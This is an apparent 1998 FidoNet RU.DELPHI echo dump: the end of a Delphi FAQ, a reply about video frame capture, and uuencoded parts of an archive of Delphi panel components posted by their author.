word; b : longint end; имеет размер > восемь байт вместо шести? A: RTFM packed, $A. >[new] Q: 45. Где взять подробную документацию по работе с RTF, TRichEdit? A: (MC): www.microsoft.com/msdn, зарегистрироваться и искать. >[new] Q: 46. Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. <<>> === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI * Crossposted in RU.CBUILDER * Crossposted in RU.DELPHI.INFO ... am up ant rail ion ail --- GoldED/386 3.00.Beta2+ * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 8 of 341 From : Mark Malakanov 2:5020/400 25 Jun 98 06:05:00 To : All Subj : Захват видео кадра ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!fido-news-server .RFC-Message-ID: <6msata$pof$1@news.kts.ru> From: "Mark Malakanov" Roman Gurkin пишет в сообщении <898702214@p14.f1282.n5020.z2.FidoNet.ftn> ... >Hарод никто не подскажет, как сабж то в Дельфи, я уже заколибался гемороится >над этим, подскажите плиз! А тебе чё? Если просто компоненту то возьми на моих страничках. С уважением, Марк www.chat.ru/~markmal (есть мои фришные и шаровые штучки) markmal@chat.ru --- ifmail v.2.14dev2 * Origin: Krastelecomservis, Krasnoyarsk, Russia (2:5020/400@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 9 of 341 From : Valera Svetlov 2:461/42.5 27 Jun 98 19:16:00 To : All Subj : Hовые компоненты [3/4] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f121.n461!useua!f121.n461!f701.n461!f700.n461!f142.n461! f42.n461!not-for-mail Пpивет . section 3 of 4 of file Compnts.rar Platinum_Editor_by_V.Svetlov M6\FWQ,!_)T=9B M=,2"P5AA]8[+%1(T2`$T-9%DY]<_Y[&/"71I-8ORI.R6Y)1)):.J"5H\8![YY?(OK^TWES:[JW+W5S<;VYWEMO+\NU+;TM2"!L7GC5@[>VO M;>_MBY.%Y@R3^]&KC,*7# M^G^&IN%^PS1;0BCEB_/)A7/3EB][>VVX"P4'^?;')?7.WN=R7S=U:A9F[":A M1;ZUN;VT^H(_.Y=ORK[GA/T4D3OU6E_;BXP(($^]W7(.5&*V/AN6ABM[Y"'= MX7J\BVN,'E`^I[[G]*`%Q<(\YYN6ZK[#6T]67I*/7M4KQ).+D]WTI/[1>"WO M]U

0U+0MS35=?5UV.5@8>7[7>M2_+1"0`N4"$&[;'Q8[\TVBI*$Y^ MD9T!\+>8.Y494@ZO)@9W'("G">SU;3>\B^W1].0-K@A1SS\\+3#`NVY9S7.X M@X"VC0*D09@6'1M^1N!7L@X=7^$/*,V>JH8CL-K&KKD+=!"`*P#S#```:CH` M``#I&PCI.Z?;)!0U"P`@````1D-004Y%3"Y005/_80`R(J&AF``"JWO`GX>Q M^.\PU):M4KZKKZSZO MKJ_J]:\NUVC%R+O8Q/G[]*GH?.!H[V%_\U`^N2QYI+-6S;5EUYM^K4M6X8J_ M+5O):DW9/*3\:T4<4-<**:KVHI-^'A"1Y/5'P6N4*C'U^0_A#;C+^25K,GFK M7+RPX%K\O+D:P6"]3RC/9X$N&./*%5\_4UQIP,F6AK)QGA!ZV.- M>`LTGVR6@2#CLA9V&7T1L8>N&L&_&UUQ2>3?L'PA6;SE_Y.02_VO6LHIE[;`9+0X%/*?,`/S8XO3AN#_MXUAX&+/((^: M.O`AAS_'7#'?YA,O]WL$X5"I=14/BGD#+_BZG"C>K!/Z.*51ZO:!ZC40$$+:ORC,EO7D_"J7^021 MZJQ#R%LS"5?EOWZ9JKWF/\#P2I;&@3Y?'2I^'6\9,S-]_X.WVO?S,K])[Q\0 M.'1)P:)073.&S3T-&D7^/$#T>*#@ATDY!$NSBZ4NX;GA#U&NA+WN"20^.KI, M^R^J0^X"A[$1#'X)4\--+IV:>EHEDS8"I[6O2+2$ZZ29Q-$MQFG&@`$34`H8 MDT"T77V-3Q@RPCB7;9/WG_HFE2"G[!FE-LDW#SIF='FD[YW*W1/**]<_FJO% M,T+UU03I_T3.,-!WHC4.YI.2&U1>?9,Y+$RQ_,UEP.'X3*L^O9=U@8@3B0?`XKL=/1XX#0>X##A_TPE$`BMC8U+K/GL>+!WK;!#M\:`[PG"VE*'C=N])I4E55#?QO,2$0C%*)5>)T2%%VP!!,(KB)3 MG1$AS_/@HT6&.;79`Y5NS7X6Z+.8G%V>Q+-V@^"DZ.M!A="#E>@!IC:WF/:6 M\H:`/8'V"'0E&^S[_-':DK)5=]P>X(!_'!8E%&SK`4-&>`64!?>,+'*S6%%V MB_JAH`L-WDQL;IPO`J#(=JTV+FWU5[S*4^>SF.Q8OL0EQL_ MV\`N)@H!R3+K`<3(R@#!O8C$]0=TW)@80O3:V=YNG.ZTD+IKS)=",JX M&I-UUJJNDFKWIO_PDN,$(W4FS\A3K/\-+Z`)`R&TM2.^'[!.D(YV@2#L?)M= MC()WDFVR!F_SS@2OXU:P.5-!UL2JAF`L[E86N)+3;R9W_#8,9)>C!I-V_KD! MBB[]RL'.A#^A@JNQ)L?`Q"./U/@I%TMZ3(21RYV_LAX8:_'9!A&[UFZBL"4V MLX_+.SL.?P_L^7]9J2/D%CETJC-X^QTII$\81N?G\?X?,BN,*8@IA"AOG$=4 M8S1A<":7&%D^,_ODWJD-0&*V=FI&Q@SS3\XC$=8`V4?#IG+%BD91HRZ!3RT! MY/F#+">+&,SH:\*L2Q;>4.ZPGJR5@/.:L%2OD!+;O%;0?]FAHXX85MCCIFJU MUGW-#3@MT3G%X5<:8@4!SC9CHA?4'\Y'Q`N?SYM=5"7QCT:!FDM@3'^JJ+^Q M;["66F+@"]SNZNIX0Z(?JML51X,2J5BP'+L6#VF== M6BH5ST46J*2;M84TN(J:K7,8R<+P#/?:#=+X;8!/%:NX-D2W)6AES+3',0?" M,-T^@DES_T@"4.G$JX3RR@7RKB@"HGX&*RHJ)0AD%`XX+)X><.#Z=^/SVSS\\UB!!"1[P.I0P,@)$75U&($)/8A\+=SNLY$H8\HDSV M639G$$KNX:,*]4V'@=R]@>(#A&-@]'"/*%X9::?A%)6M5*Q2W,=.,]]T#7YM_<5\#`]PGFB:65=91/9YG)C>6@9Y_8& M[S?VCH9QGX8&R$96LFL9QOC*[[9@;>>N<3:>//`0(QU(HQO)P MO0,__>WYK@&L\E!ABNUS:WYO,?!NQN6[ M%BA-YU;-SGQ5,KQJJ5EJS#E<8%(P%0&IUT^0HPJ!?KX(HKR\$SH;$\[O'H;! M`;J&N;U[B$6=5\4FJRE$9&]'R>$7/C`Q>KG9/;,7H-?G40K5_TM5(R?C;4I] M@'AAEBAY<@EN0"9X)`9QFXJOY;5>UWE]][5P2YZ%(1Y,OJC*T\M-UVIMW;UF MCVRV1O4[T_D8A\P?E3(YRYS.#-RU7^4O9YLNSS;!\A<1;L@F[.2:HN)MV;W2 MW8G6):ZW2E"69F7EK;I&R52;+\U7/=R&DK+-@?UMK./6LQ^YUJ=H14Q]IX_Z MR?1'RDBDWHM^'U%SOWH:D-DK/X5GP'!PLR`M.W!CPM?&4)Y^_.<$1&@+NY;X M>43TKSY0=XY=F)7'"%`M_YKI=:2ODW]+Z$?+%(YT"X3LG8QSE)?`!L/3-V.< M;^T73SU)1$W[1ZRI_H2J^4^-GJ+IAD))WA*-8).LC^BK4N!S?Q'KBM525).& M^7K0NB3=_W5K6W[#BRL?Z`&<=#4?'ST]8LR&K?W$9'Y:XOT?MEE,[(?1P&JF<,UF3RE]KA$[0W!\E7?9?FF%:,4[O#TKP`S+3.YW4;F`NHL'^EK0%H%"5 M37=)<"M/STH1[B#Q#O!A0N60N2(OB8'J@T[\S_FU!_MRZ@H M^O%G#=F&ZB^)28I<_AB5ZCD+$6CH`T^#46XDE,ZBZY\W5;ZGS-X\+CU3X)6HI#WCQ[5T!H=;)A-CU^L)USUONZ`SY`2U8:\!.7( MV=IB?`UK*/3,>C M9@],]F]L!Z):SCW!V8+T_:GP`;58PAW8SO'K_7%35O'7BYKWR01W[K;7QWD5 M%X+^'UXP3[>P!H27=W"K*'FXL>8.$M7.P&L<06,&X7'ABM?KCC([V"@D]">: M\-V%;ME<_N!ZT4ON'[]O+<%@>,$2-YX-FW)Y)+!"QN@TB0F9P#IPFN$<#K37 MW;1,C=7DK#4F'K[C!YF3`J+0YS4F#<5;^Q'KQW@4WXOBM)K.5AB'387BJ,'J]ZQU[EBZ#\ M5D@.]R#CP/4H*X>IA>V+-HG1V0G?_: MPUEY,.2A9XX5>-I^.M:CQ7\\4'DKXG7+-V_87:]1%41#V=>\OR(C\3,$>F%9 M$6[%Y&>%H?$KU3]!*,;HH5GMEY^5UX,X?1BWNWOCQG7_-Q^HL%>&H"F]AT]F MS;GF4YT9O7I!-P/7Y%<;A_"O8!ZV06&F%3.+5J&]#0NU,5^>("S3W/JW^U:C MX10&A_6L5R&;I>/02O$$W,'HZ9B#5EZDQ$(9SS*B$BTX93L0FX02011B"G2X M!VPIO'5R8'I#T7^@.;ND=[M=$'UQSR\KJ*,YXKM&,YY[SPMO00^#(=Z"U_(I MZ#U^\RYJBHA-)V`D1ALG?\KE0FSEUEW(CR2IP7B]C[$J<6BTR[CBL[,:E.,V M5H9G"O M'6^$LPHT&SR8S^)4=?XC1LB6MW'^KBA&6P$%_CV`W=$[%#,)MJ@$GR$%"WV2 MW-*K.!>E^"E@4Z9+.TU3E@02ME$LYF-J:4IZRT5:VI#U!]M$N[/[S?3;QRX2 M.FRUX8C;ZTLN\QU6`.\J.R0"?:P_$@VR"#4C>KXXV'NEO+Z6E:IDZ5W)(J,Z M@&!>/!ULZ87]-2.EC2^NX)>;+IP4Q&KT$LI.+6T*J^CH#DDT@!WIK]!KU%[VEW=%%[+*K%*3?8D70L$R)Z'_ZNY]\7>[0&QE&+L%^)S M!FVF]^U/_$=C(U[3^P/ZJB_3V3&]$\?2X\@IX6:'0TC6@2/41X@O1*/:6DEO M%`U)+//>*EU#4FI,.F%7RQ2\F8RH5/397@P3UI(-I\"6^O-_ML5!Z"OE7P)S M0O)7B*!R2NF?!IVR:^VU8UIYVKF#EO:\?DDM`BK['@?@0?<*$WM-C2VL8N^$ M.EO\W@S8%:G#6.6<.!![[F3LL%24/F%%+3M! M]%PR=D>YE=MA[BE5V/;75>X29Y+PM2>Y+N+R>US7!CXSTE<1LKN]NSG$XW*E MP"45.W9NDFVH;$[(\E\P MHOZZ]L=Z,.$YYN.B^"8>V034/J8MIX43'KJJ6C/06EHHR:]XU1S:('<:]G:C M@51T'I2TZ4JN3O@S3/>+ M9/G\[K"A64GI1IY(K1B\92E\Y_CN%R[&J"&M_2!;E2]J]]T@^O MB\^]>]'E[9#2W@;X-#,\TDK\/U<@64V,QFP@%AFFQ:^I(38[S*CE-DF$9@CP MIQ-%SITYWAEI)4Q:+\E6AQ@59$)I@6MB,[S*7`V6X@Y0X.A<*_@#E*7I-L%J MCK02$MEK+KNO9&734HKAC-L3T\]YL;EWSN@PQ,N)\BH1IYFLW#IGB;P?)G&Z MM!=F6#S,:6T8IKB7E=F(`UF5H9CN[DN%Z\YLWKNYLP]T+"F3&"ZR_;T$-D[U MT)#EXKC#H)5YX5.T,ZIT5D$3DM@9D82'GY<3I1^36DFM*5=U7[9%4V,P'-RP MO)5LB$)8=^E^))C[GKJ_1=RQ2>8@K,S\G_@2P)T$(`K``H!``!8#0```&D<7>;Q9J@D%#4+ M`"````!&0U!!3D5,+E)%4^3O_`)N3O[EG;V]@^%/A*M.C1+^O2A^:-6G2PG1 MI4N(\5I4J-(._2+\T`^Z1>;PU*GI.%JX/4J@TX?SJ5=2H'RKJ\1#KX(X?%@W M;JCV0^L-<2'L4Q\F^*@TOT2-@50IYJ+JAX4?P.U3-;X=[@(;"HAX:GA]&`^4 MZ$#O[PS0>H+#'`H_H!5OL3<9\IC^4I^0`./RA3HX#'1M1Y._\ M`FY/;3^]O8.FH]^&V+'?HBKCZGB5S?5"K@;JREOU9E<&%-7@5OA_3II;\MD# M4]#!W1W_\H?"?R@`=#QX`,`:`$`$```4`@`@````4')O=&5C="%`%R)XI<]* MZT7L(2V'E16]<_"#<&/C4NF..>LL;]AZ?TY?I2:0GG!@F&.MG"Z66'1@?;J%0.M]S-"\(BMB'ZF8TOM#C/R M?WCK\&V0&+"8SJI=H(E\K+3A^Q3,.B"&)9#O%&M;8RG$[6[-L8FHMXE">T7] M#R!W-EG-/F'://L?FQ7]U*'LRGID,P`5Z'"1A!@NED-ZBALBF+M']B%=-!@% MEWC%O]2\NB1IMHI_E->/L:M\-%QJT"PP:/_$ZZ+6EN.VMZB0X-/ MDIH\->!Q3&,+2XR6Q1^A]O.ZM2G34^^L8@[A7.T;JS$27YZ8;-JN!V@+R M73L/I8Q"[/OM!_1BQ`[30@^JVFM*%!V4ZI2(>R;1$_P,^)KNJI',%/VHX\!_ M>,,A`AE]4>`K?D3)R?!0XAZ%H\F#JVT)@DAFMQLZ1<;G5E-U6[`08-+5_/U3 M181G=^5ZRNURA+MT#,4-C+*(=97A1!+//4<"JS*E&"%R-?$8W:=V*X,6M08] MTB,6)G:_J$!!)\:X^1>T>`[MF]/)A[AXR(?4FW^"C!J=-Q1](+2C8DSLN9L4 M;)*>!H+F:*!F\UNYY2I7M_*&6/DV&&*?MAJAL]`D'2WU0H%4&^FA#6,$&JJG M->0P'S;#9LIX1?2YL;+X_,HZIOUTJ,DOMB01/4L8W9"S7B:O`NI"ZN<)A M?O7XKB//,LL.7SU"!S=X#:7:^%LLMOF!T41\R[4D7;.)VYU("M=![*\#XP,< MPDE??BJHL<$(UC$J;,LFQG1AEL35THL$5,;)`VC%VT*8!E`2 M1(A(:U$$[TK=:X,J<\QJ@ M064*`8HP`93U`Y>A2N2W4FAE4D2&&@(I**%:^^T0=INL&C:Y0/5B8`?U[4`7]H>(QI$5T_A0 MEM!=,T1^2I3H!?W(!&3,!L0L+ MGXR/]&7/=XD%9Q^#\"W_NY+W4.",8.=)2^:Q!CE^K)68N2,/G("C\C'W7P<'MNQGTMC^KI"U`)B]=&_$^F)]=" !5@`` ` end С уважением, Валеpий. --- * Origin: -=FC&BS corp.=- (2:461/42.5) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 11 of 341 From : Valera Svetlov 2:461/42.5 27 Jun 98 19:17:00 To : All Subj : Hовые компоненты [1/4] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f121.n461!useua!f121.n461!f701.n461!f700.n461!f142.n461! f42.n461!not-for-mail Пpивет . Пpедлагаю Вашему вниманию паpу новых компонент, написанных мной для себя. FCPanel - аналог своpачивающихся панелей в 3D Studio Max и FCRoller - аналог свитков в Corel. Hе забудьте пpочесть как ими пользоваться в .pas файлах. section 1 of 4 of file Compnts.rar Platinum_Editor_by_V.Svetlov begin 644 Compnts.rar M4F%R(1H'`-'^2` M-`AN:7X]\&,9F%.5&4FJ+6>BM<6I-&H=/O43=[M6MJ\6RFRE'6PX)Y&XU:D` M/OF>D/=CG`NR?_FU&]XC)!IAS^#D/IY0P9_/QTN+`.1W_ZP?\L]DVM9YNCGN M:OSUDF''-?^V^"O%,L3_SA&.`'D.=`"`*P#[`0``6`T```!P1&I(K86R)!0U M"P`@````1D-004Y%3"Y$0U(-@4T-4(```!C5F@A%A8"7:)04%A86,0M"DT!" M/`)8>&<\+VV>%;=/,^.//5O]_(WU;W-[6^;>QOBW*WPZ^'Y?+Y_%^-_IU>;3WP M-Y-ZM^1NV1Y"VWM`CR".'#V/`(WR,:'((J_\/`(VQ,J'((IL]4`BKHW0C&4@BKHP\`C=),J'((IL]4`BKJ(\`CM5!X!&ZN84.01 M5UL>`1NO&-#D$5=B'@$;LIE0Y!%-GJ@$5=M'@$=K@7/M^&[F84.M!%7=QX!& M[T8T.015WX>`1L@F5#D$4V>J`15DD>`1V)@\`C9/,*'((JRF/`(V5C&AR"*L MM#P"-ETRH<@BFSU0"*LRCP".QH'@$;-9A0Y!%6;QX!&SD8T.015G8>`1L\F5 M#D$4V>J`15X"/`([8(/OKR=_C84.M!%7A8\`C>'&-#D$5>)#P"-XJ94.0139 MZH!%7CH\`BN;NZ<^E%KO1TLRX+^?C8$<_$]8^B48XF+&O\T_YHG[%K=8UH_@ M(9?4OZ],E[??H[_=3Z2TZ+_<7_O=$_]5[\W=DYA#`W00@"P`10```+@&```` M'HZJSK!SVR04-0P`(````$9#4D],3$52+D1#4N[_*O]&^5=7?2\M;>_W5NDM M./_=3PZ;7#D-T=#=JOZEZIGRX```#2\UJCJ7O9)!0U"P`@````1D-004Y% M3"Y$0U7[B!#JJ&9DB``*T6KM).VHFXHXXAM"'C<''C(./'/6S(.%-QN*1A/# MC\21A#-BC:3C@_"B2<'`A!FLDIL63,/6U@8!AA1F[DW,-K,-`R9#*PD)"$,- M#"0\8!FRJ@5-E0G@QR5"#R42W=I-)7=I;SO>W:5IMANUM5E5GQ@G?>\\]Y[Y MUVF?XG^_<[SO.\_7WQ\%2^E3N=55]U2Q9N^Z^*A[G6]'IE?YE/,@XJJUSE>.7W/OOXT)5H;7O[2J?O;=]Z\]9T3N6L-%=OW]U<\;Q>KY=J;2J;?2=T_^ M]K,P)"=(AH[2V26]SM;<< M>UR5+BPTS0?@\VUZK%A5B8MXHA_=P_)XX M+7H[Q_):EFF-=OD;N!N.\SATW[+68I5H+NO&U7=6LZM`J*_%;USVE!U M3;VUK=KC$^UQTD4X#JUHO2.G]5;VP1=U+V MVM46&03J'.N=69'XM\4.3>VEM9NA`'5X0AZI!J_8QF5-:D,%@P%3K8G9XUD1-\;P/87V7/"]6)Z#I M[9<[E>.[92;BLVR-PJ"D&2 M*KW+MU5)=M]'>6;IXLDSK8QCX5W\"*IC;A$6/TI`#&"1R!1Z],`3D_AP_C=S M%@*K2/!;CI;_?+=/_!*N,OFOO;LMUFG9=+F0ZCV':L4R!/PWO'>9*UF!HD*@ M8]%YJ78^4ER`@2RW=6W:$L:4>_U-?/_D5%5-H1T;/$FK=6[J1CFK]J^L8]%N M^YW;[CQX2T[I/L5(T*98ELI7:!7&'MG\*6*"3%N!;'_>ICVO?-M+5NV*S7+6&IV&R"V/\OA4'?A/V392 MZAUW"8";*9EFZ4?XH(W;K>BTLZ@Z8(,>O7.U3">C!3-01?7%M<@T^U6(,"'[?X_"J'\_8>9[-$5 MEV:T)?SGA=[+4=%+R"F]\VI^';9=(IJH"_]EY^S>4E%D9!"3I07OM9/Y/MTJ M1YF5#7_1T6^LZ:BR\S2!-8T5?^]XG^WIYR?"B9WGBJ,U6D6]$ MPQ7YVF?LZ/)K311L[T3:%=ZOR2_/T"^O1IVUHV-`NI7>@.H&-3J>X28]:S2] M+4V@ZD2R'?2S)L+1J":Z!BD^=0<+?&G#(,1S8S37R3-.[(5ES('-:0U+K5!Y M&#\AUL$&8DN%M6@&K9!]3W=+3 M^@,G)*`29/(?!=LBKNNXN8VI*O2&>>6ME)7"*B1-:FKZ!@/(A13,_0+M;1-Y MR(V1[3%O/&GK%Y*IRA0_?'%[B&T=2J>OT.I$F[F3OL5P%V$!J*M>#HEL`0D` M6D(X`2J#TB'+*MV\A59\*+WP1"2V5C(>`QPM%B\(;98O$M/KGC6A91&Y2P;B MZW(-"B60ZSJ'C(H5*6?L*39]I%+(4%FD@UE+/.T0U2(5)*](2E*#-*SHU2HJ M@8!FX=7@/`D./HT!KBSE]5!WH5'BS:%4B#R+C(H@A:F>BL`D,V\E7D\V59H4[I,**!=1BA:M()775TGE-1LUUL-Y4B^:'3^?!W^I M+5N)/+A)J&5A9"X+T:TZCD7"D/H4UR'M/M>_N'E8-MY*#'WN!NOA2ZDU[)B$ M6V(@ZQFM?%CEJMFM==!OU$[#5HUL%D'6:%4R#M?$.5Q)TC"L?OM.Z*;?(OI&3B1GA1?GQ?,.-*/-P2U<46N84DRX ME,+Y3?)(FD9;CR3)C04AKA3+\5/9D6U3*D4SJ8(T<#IB%^UP/KX628FJ17(. M$P!`@]!G:IA.6&89K>D>5T9@O,,I.?.+\RA*J8Z.A@F1Q69Y%*P]IB\FJ*N2 M%2V\(BGK(+2(;<1`F)3I1(EED,+*%H)8GY+&9*$6NP2.*QP(IX*I6MQ,(MYP M,;)S,1?<'R\CJH\-E.ETK$EXK@S6%]R64NO\$Y<732\AT:^D.R(OHE_F,F"R MAZ02OZ/&@C-;@&1'G)>9`\!1Z]-LYL8#J&:%44 MS6OIFVS487Z#*Q4?,2C])MO.##<\QS(0"U]2/MAA>(7ZT'(YKJ31F./%7&\M MB4N8L*;\]?F)93`B5T9TS,3$I@>1+KC\@LO]HA MG3V4F\F$10WR;M`22PE)N:039F8R/'>@DUF!?P2^G4F284=0M9"F8,IF4E3E M[&J61#T!O>#^TJJ2BRM!#\CI1_:S[)2V,Q"Z1;[/[M0L]Y8+Z=U?BO M>@<4/FN7?WO]*?,C_*JP:8-$I^SX)CI:4`U$@X5O5,%3K#6(H4GO*T/QRA!(&4%^1C\>WV7:<`7LFA0VT^UA]C`YNJK]7WW%?FINX(R M"_L<.!\.;XL#@#V\*^SZX?C6H1O6X?E03YZZ01!3,5%OAUJIP0U\(`JDY.R!7FJH(82!45N!?5JY7=@?B_.`K MU[WS5'3X'XZ8`OKWU(I+'@=J\]>JMR:;Q`?D(Q2\Q9MAS"=WAE/V5I^$=G&/ MZS3L^]VMEVW`%]W)#!(0/X=^OU<#XXV<#^F+\E/\Q?>G3CT4).=$T]/(7*JSGTIR>&+?@?Y M4\F.29X2EA-%7YOV,#3X6!8_4"E:/ZABH_=CL?)#S:8=-:8$_NKX6!B!8D%J M\GUNZT>%`@"$[WT)$EECA+)#^9022+?(=$Z.TLK).)IL105`MWI:I/P/F&@N M9VMD.,12M`>8GY.OKT$1^@/:ZP'CDEM!]9LB8$`HMX.]O_`TJO+">3`\,9#7 M4\"JI^P]Q^QP+X5!RKR,K'F'2/=SI*4%Q'L+:8AP/P%M(F)?9%`-$\?\R%*N MYII2GF/K]2CH]XAKZEKQLRHQE;3XPRX*'21,&PE7R_I(>+7P8(J0OK7N`P_? M>Q=M$W#<#P+`$CPKT5E5=VWJLU!4L0"4AG57^GP[W>(8?_F5`OQ!^N\$K&&]4T3LR,-(7N4=7VO`3%&-XK]?`T5/P([`J M1+%6G1,T4&%:=L&^.PW]H$C.O@?/IX'OK2(A!A2AJI8GX>.E*TG_C!J3(AVP MZG/LU(V,H)K3>R[#H/[#=7*Y.[^QJ8MP0BN(A@@X2DAF`.XYO;P=K<8/>\.3 MK6W_$DBX7`](=ZCX_GMOM56;Z4D&HZ+W$19X=B:X[ С уважением, Валеpий. --- * Origin: -=FC&BS corp.=- (2:461/42.5) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 12 of 341 From : Valera Svetlov 2:461/42.5 27 Jun 98 19:16:00 To : All Subj : Hовые компоненты [2/4] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f121.n461!useua!f121.n461!f701.n461!f700.n461!f142.n461! f42.n461!not-for-mail Пpивет . section 2 of 4 of file Compnts.rar Platinum_Editor_by_V.Svetlov M.[Y`L&XI;=6I=_OI"NX'E++D)+N2P;?86&_F`1$D#(F8)'Y2Q]&]!OB7B>@5L386IW&'MLGI`6-6_T9L:=QJ;O!%:*Y7>,E3SF=62]M'U@>UU_#[ M#B;?(=?V]/]/&P/T#6/]"Q:03M<@]6@V;XLC$031[^*WU^?E0!%.]0"_:&'(-K`<>!;0[(H/]-[*G@/ ME\#VR8WX]!L#/X>LUP/+X4C&]O#)/!O99_D^R?SW,HPXJK0L&W6H.\6J-CRC MB!BZ_8O0AC"3]V\5#S*#A]K?.PNVX%]F!]WC@7#!(K#D11R)R'&KN3/Q%HN;PC MOX1GC]Z?^X]<7#_OP2M/_`?WQ]@?.@"[2";D^_/PCZ<_L3Z@^N/U9^M/JSW! M^E/[(_4'SY],?/'YH_.'Y\_0'TI^B/TQ^5;KO2R[#DQA>30H0V0/2/S)>@7= MS$M"7G%WZCZPOL5WGGN2Z@](/$#G_61$+WB[E),Y<;OE1?RL8O$P8?KEB[]0 MN#_!/.I,;,.7&&Y;<2A@O/WD2U],):LZ9GF'-1CFQL.;%DRC?[X=OE59]6"- M#YH_=@L7C!\#V.ZZ;HF'SI/^>C/BMG/L,$_!2W@H>.(!GOP^>C"BE8=!)_03 MXP86.D-QW(C&])D7XC--!E%T4-3\$_D().C";E\.'4-$NPIDO831=I1ENVI> MQFES%'3:81O*%A'$V@"8V?K%I$=IUN017$+RK# MC`K/CZ(OR,N+_O*0349+SA!NR0WZA#6D6;A M+L38X+,/*0:,']-`_S4_-&L5`LT6:7-!M%IHT%"(K;KZ$"MDOC.3)J\O4+X1 M-+W!>Y-J$IKT?3I3]$>LHJ`KGUZ)T.(FJ^%`@\R,UI`5UL;!)]CH@X>K-SZ- M@=S0$IHM(_,ROIB\O&W-9`;I#B+9/(%[1=-(L$.C(4*%I!K0D,:LV2@&-'.0 M99170AP;0-\-C`U!L\!"W$S8*[.+T7`L+F@^12R0A+)V:7L39D"5L)98*AK4 M7*AK7@PL>U>&_*G-F(.-8S8._BU([4`X/O+RJ:?1`,"*9)A*-VE:<-I@0,3T MK,U0'.`H;<`_A'Q7K08]HQ>^"C/C2Q7A&T913;6A@0O,]31#T&.<#U0K'PX) MXE`9TI]H&!?"UX>TJ+Z=*Q.I5YU0=T\[$5Q>O#_R+6$8HV7A[&)X)Q\(F"!L MD`+*`*B?:''P^=$&>%=8"TT`0&B:)4`?,L6'HP6A771GV,(\@[,Q=%C3-9TO M4,81&;.T)$94H+1GQ/4''P^L$&#*&'Z&&JQ`L]F=%;4ZQ(C+)!8A?G.1$K0I MT&ZV!O\0GSHKI3K@((E-)K9ETC&$?K3CNP)IPHO:I"*[T)`(?,G16D;P2!O% M07DG^2?%;<[S@/6D(2O,E0_;G>L3@_807M'XA0G17V)W$$I,,]\O$A*G&+#] M\_!*^0&&^8O/&_]EWC*)]`X^'HGDHP7.(/YZ"_J?]$7,HGTSCX>B=`C_40BF M*7&4)LOB"]@>QB>>.B_XSF$)3!A'Y&,S''PB=$&AG6!TWZ#$"XG1G M'PCKC!JWF#(,31V=(2_=#=H8*Q!H=%;8ZIA$>>F+U1F@-Q!Z=8DX*R!/=L'# M8AFCHKJ#G)EZ-\1B!B!=P8W*B<>^"(TB>H.V9G'$R]V!KW:46>U,V1L/[\Z* M_Q05^EF@?*'GYP#ZT?$YXX^Y.XD*??07Q M'P_*G17Y1W&A8:?(/P4Y$4%T$(`L`$8,```7&0```!GW+HSG<]LD%#4,`"`` M``!&0U)/3$Q%4BY$0U7_P0(950S(S<`!FC5KU(33330Q#CDCJNCQPP@)JN`X M4PPEC;2:&Y&,0).#980'&-)MQC;K])0AF2O!NS\$4,A)DDLN2Y(QT=C`8RV9 M;9Z4ECDA)*26S`(X#A#+C;`L8-GI#"E>7)6/6">^JO.]W4EJ&P_3+?C?@VTM M[WG?;G>]WKW=\_DO\1_>>>=YN\YW>YN;\-^DSY&F;]IVIH^JN^F4T,8,YZ7N M&VGJZFII:T#GO0A($=A,[1$@AKG.+\G<@/48SS%OAV7/8UVYI:J)EXZ#5 M;DXM@]&/X1)2K$E&[Q>[$8%[";\4&-M&]_/O8R&??37>_--/>WAE!.2F.>3E M/<,_PR8QP@RBDPG'C-!*>(9BU_Y)65V`JLB,"X>1<*]_]NIJ[MZN:PH_N<&Q]%ZQA1HCX-:H*MWBUWU:JO3U MO:/5^HTFKGIJ@=N]+/T#G?7&?BD!(;%O-3S:>[_VX+6?;06^EU$_J9K.8Q'F M9'/?!ZS8&807_")G&F29;.YWP)EW-]Z)DN,CF9G9]W^`4?*&)U.ZF;_C,A$R MV+J)T5EN=*Z;3DS/Z.;;D"FHKE.IM!DZ]&DV^8)]$%QP/(XHZT`SD"?$-E]SJ_2]![&:/43R&L^W9TDW=">@;2B,M[IC8#G(L#!L_H,[HL7C&.+ MA3?BPHPYE>8R>14XW;`8T@Z\%ZC@2N^WK:/\;A_ZZE3VS5FR*_U`%1!;:M++ M7VQW:".Z38.:!U.<`32,,@HTVW]H6AN+3P/0:[[51CD+S4@;RXUFQ#TE$7/TJ)(\T+ MY>((>Y3JX-*B7Q!9*J?H*@U4\:87,L+X MQ*E,$K8YI1F%5-(2*$$77ZZL2Z$B06(+1;NMIS8]/ZY>:`@\+4.US&8BIUE. MUP^;E,JCANGZR^249DA@,H&Z1$*"",@Q&-Y0;O!T>24)3>/;*+Q#(%(6:@]# M`NGT4$)YDJ9UI';.6C!Q`6$Z*>JD MA=0M(U-DD(2+J8\@0@6V*6#5$EKT%X>/Y#)4J:1R4<,GCA#I_D&Y*9.1`DWI M\A`O*H24V<2%\0\Q#/3'''N$K@J`;)G1G/E@N1U^4:)WX@K<0_B.[X#MDEYB MJ570W8(Z6'*QW7L*L6,4:N3@[7%RV2:=Q#X3' M(7@Z4V,>SB7GZ5%#'`;^&*K\R6C\B\K)<4(1[\\.[K3&CHBKV3-8-MM2:)0, MW2WHN)Y;QV!$CQB,0@H@0F+G3/.??\=/!W'<5H9!N$;.DH&U/>D%Z4!09TY)AP*5=Y`+0L8HB)P___`B M:8,]U/^?AN(I80Z\A.,'A%$P?]]=Y[@>Q*04*S4J5M&$#JZB(3M/K$#L/OEA M`[3;1"3O6S1_2QKI=#C[XRHE<:?:/1'SH<@#D:N&#DR8-!]$`75O"Z^FI<>%C&73F^JJZ\NC+2 M[[N"HS]-P#GSMCX^B(L&SYQ*"<=P4H<8VYI/B4^\!IM-L*\YHEL6\,DN8;XR 